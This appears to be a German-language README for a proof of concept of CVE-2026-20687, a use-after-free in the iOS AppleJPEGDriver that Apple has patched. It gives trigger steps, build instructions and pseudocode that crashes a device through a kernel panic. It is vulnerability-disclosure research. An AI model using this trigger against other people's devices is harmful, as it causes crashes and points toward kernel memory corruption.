CVE-2026-20687: AppleJPEGDriver startDecoder() Timeout UAF (verzögerte Panik)

CVE-2026-20687 | Autor: Johnny Franks (@0xjohnny)

Komponente: Kernel

Auswirkung: Eine App kann eine unerwartete Systembeendigung verursachen oder Kernel-Speicher beschreiben

Beschreibung: Ein Use-after-free-Problem wurde durch verbessertes Speichermanagement behoben.

— Apple Security Content, iOS 26.4 und iPadOS 26.4

Dies wird einen Kernel-Panic auf deinem Gerät auslösen. Speichere deine Arbeit.

Getestet auf iOS 26.3 (23D125) auf iPhone18,2 (iPhone 17 Pro Max, A19 Pro).

Auslöser

Direkter Auslöser:

1. Führe das PoC aus und tippe auf Panic (initialisiert den Treiber / reiht asynchrone Arbeit ein).
2. Öffne dann Kamera (dies verursacht zuverlässig einen synchronen JPEG-Decode + Timeout auf dem betroffenen Build).
3. Der Timeout-Pfad gibt eine Anfrage frei, hinterlässt aber ihren eingebetteten Queue-Knoten-Zeiger im per-Codec-Vektor.
4. Ein späterer Queue-Durchlauf dereferenziert den veralteten Knoten und der Kernel gerät in eine Panik (MTE-Tag-Check-Fault).

// PoC: initialisiert den Treiber; die Panik wird normalerweise verzögert, bis die Kamera geöffnet wird.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
  startDecoder_async();                   // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);

// Später löst das Öffnen der Kamera Folgendes aus:
startDecoder_sync();
  queue_io_gated(): vector.push(req + 0x78);
  wait(10s) -> TIMEOUT;
  pool_free(req);                         // BUG: entfernt NICHT aus der Queue (req + 0x78)

// Noch später (finish_io_gated):
fullSpeedRequestExist():
  node_ptr = vector[i];                   // veraltet: node_ptr == (freigegebenes req + 0x78)
  req2 = *(node_ptr + 0x8);              // UAF-Lesezugriff auf req+0x80 -> MTE-Tag-Fault -> Panik

Bauen & Ausführen

1. Öffne ios-app/Test.xcodeproj in Xcode
2. Wähle dein iOS-Gerät aus (der Simulator ist nicht nützlich)
3. Bauen und ausführen
4. Tippe auf die Schaltfläche Panic
5. Öffne die App Kamera, um die verzögerte Panik auszulösen